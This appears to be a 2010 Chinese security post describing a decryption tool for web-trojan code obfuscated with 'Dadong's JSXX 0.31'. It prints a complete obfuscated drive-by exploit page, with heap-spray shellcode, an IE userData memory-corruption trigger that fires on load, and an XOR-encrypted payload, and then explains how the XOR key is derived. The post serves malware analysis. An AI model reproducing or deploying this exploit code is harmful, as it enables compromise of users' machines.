Decrypt （Dadong's JSXX v0.31）
最近网上挂马代码中常见的一种就是经过Encrypt By Dadong's JSXX 0.31加密的网马代码，举个例子如下：
<html><body> <button id='yEcOINWqzAvRosxxYgfclJYYclNTLbYCYFtXENkMxhsYvkGkpiwAZqiGoKePsqQqkxgBXxZQKYzdhiEfqwBXZjZwQp' onclick='WzdLiWKZevlgmLyiBITcqfDodayoljhqyoEwCJBe();' style='display:none'></button> <script language='javascript'> var bak, bak1, bak2, bak3, bak4; bak='%';var wud='%';var tihs='%';var jj=bak+'u'+'4B5B';var lzg='%'; bak1='u'; wud+='u'; tihs+='u';var kk=bak+'u'+'CD36';lzg+='u'; bak2='58';wud+='B'; tihs+='B';var ll=bak+'u'+'BD8F';lzg+='B'; bak3=bak+bak1+'5'; wud+='D'; tihs+='D';var mm=bak+'u'+'E9D0';lzg+='DD'; bak4=bak3+'8'+'58%'+bak1+bak2+bak2;wud+='BC'; tihs+='B';tihs+='D';var oo=bak+'u'+'FB7A';lzg+='7'; var WMAHWM='B%u4627%uA'; var LHAH=bak3+'8'+'5'+'8'+bak+bak1+bak2+bak2+'%u10EB'+jj+'%uC933%uB966%u03B8%u3480%uBD0B%uFAE2%'+'u';var HHAH='05EB%'+'uEBE8%uFFFF%u54FF%uBEA3'+tihs+'%uD9E2%u8D1C'+tihs+'%'; var SSAH='u36BD%uB1FD'+kk+'%u10A1%'+'uD536%u36B5%uD74A%uE4AC%u0355%uBDBF%'+'u2DBD'+'%'; var oah='u455F%u8ED5'+ll+'%uD5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%u'; var org='u2355%uBDBF%'+'u'; oah+='BDBC%u36BD%uD755%uE4B8%'+org+'5FBD%uD544%uD3D2'+tihs+'%'; var org1='%'+'uD2D5%uBDD3%'; oah+='uC8D5%uD1CF'+mm+'%uAB42%u7D38%uAEC8'+org1+'uD5BD%uCFC8%uD0D1%u36E9'; var org2='uD355%'+'uBDBF%'; oah+='%uB1FB%u3355'+wud+'%u36BD%uD755%uE4BC%'+org2+'u5FBD%'; var org3='%'+'u8ED1%uBD8F%'+'u'; oah+='uD544'+org3+'CED5%uD8D5%uE9D1%uFB36%u55B1%uBCD2'+tihs+'%u'; var org4='5E4%'+'uBFF'; oah+='5536%uBCD7%u5'+org4+'2'+tihs+'%u445F%u513C%uBCBD'+tihs+'%'; var org5='uBDD7%'+'uA7D7%'; oah+='u6136%u7E3C%uBD3D'+tihs+'%'+org5+'uD7EE%'; var org6='uC8BD%u7A44%'+'u'; oah+='u42BD%uE1EB%u7D8E%u3DFD%uBE81%'+org6+'BEB9%uDBE1%uD893%'; var org7='C5%'+'uBDBD%u748E%'+'uEC'; oah+='uF97A%uB9BE%uD8'+org7+'EC%uEAEE%u8EEC%u367D%uE5FB%'; var org8='uBDBC%'+'u3EBD%uBD'; oah+='u9F55%'+org8+'45%u1E54'+tihs+'%u2DBD%uBDD7%uBDD7%uBED7%'; var org9='EE7D%uFB36%'+'u55'; oah+='uBDD7%uBFD7%uBDD5'+tihs+'%u'+org9+'99%uBCBC'+tihs+'%'; var org10='7DD%uEDBD%'+'uEB42%u3495%'+'uD'; oah+='uFB34%uD'+org10+'9FB%uFB36%uD7DD%uD7BD%uD7BD%'; var org11='BD%uEB42%'+'uD791%uD'; oah+='uD7BD%uD7B9%uED'+org11+'7BD%uD7BD%uD5BD%uBDA2%uBDB2%'; var org12='u36C5%'+'uD9F3%uC13D%u4'; oah+='u42ED%u81EB%uFB34%'+org12+'2B5%uC909%u3DB1%uB5C1%'; oah+='uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B'+tihs+'%u7ABD%uCDFB'+tihs+'%u'; oah+='BDBD'+oo+'%uBDC9'+tihs+'%uD7BD%uD7BD%uD7BD%u36BD%uDDFB%'; oah+='u42ED%u85EB%u3B36%uBD3D'+tihs+'%uBDD7%uF330%uECC9%uCB42%uEDCD%uCB42%u4'; oah+='2DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5%uFDEB%u4636%u7D8E%u668E%u513C%uB'; oah+='FBD'+tihs+'%u7136%u453E%uC0E9%u34B5%uBCA1%u7D3E%u56B9%u364'; oah+='E%u3671%'+'u3E64%'+'uAD7E%u7D8E%uECED%uEDEE%uEDED%uEDED%uEAE'; oah+='D%uEDED%uEB42%u36B5%uE9C3%uAD55'+wud+'%u55BD%uBDD8'+tihs+'%uD'; oah+='ED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB%u9955'+tihs+'%u3'; oah+='4BD%u81FB%u1CD9%uBDB9'+tihs+'%u1D30%u42DD%u4242%uD8D7%uCB42%u3681%'; oah+='uADFB%uB555'+tihs+'%u8EBD%uEE66%uEEEE%u42EE%u3D6D%u5585%u853D%uC854%'; oah+='u3CAC%uB8C5%u2D2D%u2D2D%uB5C9%u4236%u36E8%u3051%uB8FD%u5D42%u1B5'; oah+='5'+tihs+'%u7EBD%u1D55'+tihs+'%u05BD%uBCAC%u3DB9%uB17F%u55BD%uBD2E'+tihs+'%u5'; oah+='13C%uBCBD'+tihs+'%u4136%u7A3E%u7AB9%u8FBA%u2CC9%u7AB1%uB9FA%u34DE%uF26C%'; oah+='uFA7A%u1DB5%u2AD8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A8'; oah+='4%uA9FA%uD405%uA669%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uF'; oah+='A7A%u259D%uADB7%uD945%u8D1C'+tihs+'%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD'; oah+='74A%uE4B9%uE955'+tihs+'%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36'; oah+='E9%u55BB%u42E8%u4242%u5536%uB8D7%u55E4%uBD88'+tihs+'%u445F%u428E%u42EA%uB9EB%uBF56%u7E'; oah+='E5%u4455%u4242%uE642%uBA7B%u3405%uBCE2%u7ADB%uB8FA%u5D42%uEE7'; oah+='E%u6136%uD7EE%uD5FD%uADBD'+tihs+'%u36EA%u9DFB%uA555%u4242%uE542%uEC7'; oah+='E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%uB26'; oah+='6%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8%u36E3%u99E3%u60BE%u36DB%uF6B1%uE33'; oah+='6%uBEA1%u3660%u36B9%u78BE%uE316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u'; oah+='673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA37'; oah+='6%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC066%u18'; oah+='4D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%u'; </script> <script language='javascript'> var tqqMG4 = eval;Wsinphw6="647360327D737A7D2F355356502537672156262737672320243539455F535A455F39352A575735291F1864736032535C5A575B2F7D737A7D39353767762776703767712B712B37672A25717637672B202B2037677625762437672A70712637677625767037672A772B2137672A742A7737672B212A7437677174762037672A25767337672A272A74376771732B20376771737173376776742B213767762676713767712A762B376776772B2137677622762037677076707637677076707635291F18647360324B4165426740657A445C6853535E5B406A6A7E5B48645C5F545B66626254505157717E7044755D45534B597871795A5868635D437E666565745C635D514156437E6B7C2F677C7761717362773A5E5A535A395A5A535A394141535A397D737A39535C5A575B3B291F1865745F45507C61547067617E6160406A7C434B775C465D6A685E7F5C63767E685A46477F475F5C5D4363536466706358515360704856787F7754752F7C776532536060736B3A3B291F18647360325C5E5B5B5D73455745632F226A2A242222223F3A4B4165426740657A445C6853535E5B406A6A7E5B48645C5F545B66626254505157717E7044755D45534B597871795A5868635D437E666565745C635D514156437E6B7C3C7E777C75667A38203B291F186473603276615F79767162607060675B5B71557E6263417C65475865475F4B465941642F677C7761717362773A35376722712271376722712271353B291F18657A7B7E773A76615F79767162607060675B5B71557E6263417C65475865475F4B465941643C7E777C75667A2E5C5E5B5B5D73455745633D203B691F181B76615F79767162607060675B5B71557E6263417C65475865475F4B46594164392F76615F79767162607060675B5B71557E6263417C65475865475F4B46594164291F181B1F186F647360326A5C5C677F5A67427D7971637E63617D77715D7A715447535E7857484376645A657474505760465F7A7B65735C5A665063565E4B68607B2F76615F79767162607060675B5B71557E6263417C65475865475F4B465941643C6167706166607B7C753A223E5C5E5B5B5D73455745633D203B291F1876777E7766773276615F79767162607060675B5B71557E6263417C65475865475F4B46594164291F181F1832747D603A6643797C47704167625A42707D71544A2F2229326643797C47704167625A42707D71544A2E20252229326643797C47704167625A42707D71544A39393B32691F18323265745F45507C61547067617E6160406A7C434B775C465D6A685E7F5C63767E685A46477F475F5C5D4363536466706358515360704856787F775475496643797C47704167625A42707D71544A4F322F326A5C5C677F5A67427D7971637E63617D77715D7A715447535E7857484376645A657474505760465F7A7B65735C5A665063565E4B68607B3239326A5C5C677F5A67427D7971637E63617D77715D7A715447535E7857484376645A657474505760465F7A7B65735C5A665063565E4B68607B3239324B4165426740657A445C6853535E5B406A6A7E5B48645C5F545B66626254505157717E7044755D45534B597871795A5868635D437E666565745C635D514156437E6B7C291F18326F291F18445F586058242F305C735C30294A5463755963222F305C735C3029635376615B6651202F305C735C30295C7A5163202F305C735C3029795C736B612A2F305C735C3029797B59582A2F305C735C302976757F70557B5B232F305C735C30295643635456232F305C735C30295C457C442A2F305C735C30295C535F62242F305C735C3029797B6845202F305C735C302975777E7C212F305C735C302945617B7C627A65242F305C735C3029615F477D797147232F305C735C30296663635F55262F305C735C3029";VMJrJ6="function XFqgKq0(){qAdsItC2=Math.PI;NhCq2=parseInt;kNays8='length';kiKJ8=NhCq2(~((qAdsItC2&qAdsItC2)|(~qAdsItC2&qAdsItC2)&(qAdsItC2&~qAdsItC2)|(~qAdsItC2&~qAdsItC2)));dgmbGiI1=NhCq2(((kiKJ8&kiKJ8)|(~kiKJ8&kiKJ8)&(kiKJ8&~kiKJ8)|(~kiKJ8&~kiKJ8))&1);/*Encrypt By Dadong's JSXX 0.31 VIP*/DQqFD1=dgmbGiI1<<dgmbGiI1;NWnV8=kiKJ8;NWnV8=kiKJ8;NAMp6='';kizW2=eval(unescape('%5'+'3%74%'+'72%69%6'+'E%67%2E%'+'66%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F'+'%64%65'));sMUokcU1=tqqMG4;for(geln3=kiKJ8;geln3<VMJrJ6[kNays8];geln3-=-dgmbGiI1)NWnV8+=VMJrJ6.charCodeAt(geln3);NWnV8%=unescape(kiKJ8+unescape('x')+(1<<6));for(geln3=kiKJ8;geln3<Wsinphw6[kNays8];geln3+=DQqFD1)NAMp6+=kizW2(NhCq2(kiKJ8+unescape('x')+Wsinphw6.charAt(geln3)+Wsinphw6.charAt(geln3+NhCq2(dgmbGiI1)))^NWnV8);try{sMUokcU1(NAMp6);}catch(e){try{tqqMG4(NAMp6);}catch(e) {window.location='/';}}}try{tqqMG4('XFqgKq0();')}catch(e) {alert('ere');}";var dJknQ0 = tqqMG4(tqqMG4);dJknQ0(VMJrJ6);function WzdLiWKZevlgmLyiBITcqfDodayoljhqyoEwCJBe(){ var mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv = document.createElement('body'); mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv.addBehavior('#default#userData'); document.appendChild(mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv); try { for (tQknUbSupHPbocFX=0; tQknUbSupHPbocFX<10; tQknUbSupHPbocFX++) { mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv.setAttribute('s',window); } } catch(e){ } window.status+=''; } document.getElementById('yEcOINWqzAvRosxxYgfclJYYclNTLbYCYFtXENkMxhsYvkGkpiwAZqiGoKePsqQqkxgBXxZQKYzdhiEfqwBXZjZwQp').onclick(); </script></body></html>
这个加密代码中主要是把堆喷射代码和shellcode中下载地址加密了，使得常规的freshow，mdecode等工具不能直接进行解密，简单说一下他的算法，关键的一句代码就是
NAMp6+=kizW2(NhCq2(kiKJ8+unescape('x')+Wsinphw6.charAt(geln3)+Wsinphw6.charAt(geln3+NhCq2(dgmbGiI1)))^NWnV8)
String.fromCharCode部分大家都知道了，关键是含有一个异或值，就是上述代码中的NWnV8，这个值是通过字符串VMJrJ6算出来的，然后在使用计算出来的这个值进行异或就可以获取到明文了！具体算法大家可以分析一下字符串VMJrJ6。下面说一下工具的使用方法。要输入的主要是两部分，一个是salt字符串，一个是hex字符串。salt字符串输入的就是VMJrJ6的内容，如下
function XFqgKq0(){qAdsItC2=Math.PI;NhCq2=parseInt;kNays8='length';kiKJ8=NhCq2(~((qAdsItC2&qAdsItC2)|(~qAdsItC2&qAdsItC2)&(qAdsItC2&~qAdsItC2)|(~qAdsItC2&~qAdsItC2)));dgmbGiI1=NhCq2(((kiKJ8&kiKJ8)|(~kiKJ8&kiKJ8)&(kiKJ8&~kiKJ8)|(~kiKJ8&~kiKJ8))&1);/*Encrypt By Dadong's JSXX 0.31 VIP*/DQqFD1=dgmbGiI1<<dgmbGiI1;NWnV8=kiKJ8;NWnV8=kiKJ8;NAMp6='';kizW2=eval(unescape('%5'+'3%74%'+'72%69%6'+'E%67%2E%'+'66%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F'+'%64%65'));sMUokcU1=tqqMG4;for(geln3=kiKJ8;geln3<VMJrJ6[kNays8];geln3-=-dgmbGiI1)NWnV8+=VMJrJ6.charCodeAt(geln3);NWnV8%=unescape(kiKJ8+unescape('x')+(1<<6));for(geln3=kiKJ8;geln3<Wsinphw6[kNays8];geln3+=DQqFD1)NAMp6+=kizW2(NhCq2(kiKJ8+unescape('x')+Wsinphw6.charAt(geln3)+Wsinphw6.charAt(geln3+NhCq2(dgmbGiI1)))^NWnV8);try{sMUokcU1(NAMp6);}catch(e){try{tqqMG4(NAMp6);}catch(e) {window.location='/';}}}try{tqqMG4('XFqgKq0();')}catch(e) {alert('ere');}
然后是hex字符串就是加密后的那段结果了，如下
647360327D737A7D2F355356502537672156262737672320243539455F535A455F39352A575735291F1864736032535C5A575B2F7D737A7D39353767762776703767712B712B37672A25717637672B202B2037677625762437672A70712637677625767037672A772B2137672A742A7737672B212A7437677174762037672A25767337672A272A74376771732B20376771737173376776742B213767762676713767712A762B376776772B2137677622762037677076707637677076707635291F18647360324B4165426740657A445C6853535E5B406A6A7E5B48645C5F545B66626254505157717E7044755D45534B597871795A5868635D437E666565745C635D514156437E6B7C2F677C7761717362773A5E5A535A395A5A535A394141535A397D737A39535C5A575B3B291F1865745F45507C61547067617E6160406A7C434B775C465D6A685E7F5C63767E685A46477F475F5C5D4363536466706358515360704856787F7754752F7C776532536060736B3A3B291F18647360325C5E5B5B5D73455745632F226A2A242222223F3A4B4165426740657A445C6853535E5B406A6A7E5B48645C5F545B66626254505157717E7044755D45534B597871795A5868635D437E666565745C635D514156437E6B7C3C7E777C75667A38203B291F186473603276615F79767162607060675B5B71557E6263417C65475865475F4B465941642F677C7761717362773A35376722712271376722712271353B291F18657A7B7E773A76615F79767162607060675B5B71557E6263417C65475865475F4B465941643C7E777C75667A2E5C5E5B5B5D73455745633D203B691F181B76615F79767162607060675B5B71557E6263417C65475865475F4B46594164392F76615F79767162607060675B5B71557E6263417C65475865475F4B46594164291F181B1F186F647360326A5C5C677F5A67427D7971637E63617D77715D7A715447535E7857484376645A657474505760465F7A7B65735C5A665063565E4B68607B2F76615F79767162607060675B5B71557E6263417C65475865475F4B465941643C6167706166607B7C753A223E5C5E5B5B5D73455745633D203B291F1876777E7766773276615F79767162607060675B5B71557E6263417C65475865475F4B46594164291F181F1832747D603A6643797C47704167625A42707D71544A2F2229326643797C47704167625A42707D71544A2E20252229326643797C47704167625A42707D71544A39393B32691F18323265745F45507C61547067617E6160406A7C434B775C465D6A685E7F5C63767E685A46477F475F5C5D4363536466706358515360704856787F775475496643797C47704167625A42707D71544A4F322F326A5C5C677F5A67427D7971637E63617D77715D7A715447535E7857484376645A657474505760465F7A7B65735C5A665063565E4B68607B3239326A5C5C677F5A67427D7971637E63617D77715D7A715447535E7857484376645A657474505760465F7A7B65735C5A665063565E4B68607B3239324B4165426740657A445C6853535E5B406A6A7E5B48645C5F545B66626254505157717E7044755D45534B597871795A5868635D437E666565745C635D514156437E6B7C291F18326F291F18445F586058242F305C735C30294A5463755963222F305C735C3029635376615B6651202F305C735C30295C7A5163202F305C735C3029795C736B612A2F305C735C3029797B59582A2F305C735C302976757F70557B5B232F305C735C30295643635456232F305C735C30295C457C442A2F305C735C30295C535F62242F305C735C3029797B6845202F305C735C302975777E7C212F305C735C302945617B7C627A65242F305C735C3029615F477D797147232F305C735C30296663635F55262F305C735C3029
然后点击解密，就可以获取到解密后的代码了,结果如图所示
工具下载：
附件: Decrypt JSXX.rar (2010-4-16 9:58:41, 4.53 K)
该附件被下载次数 819
用户系统信息：Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
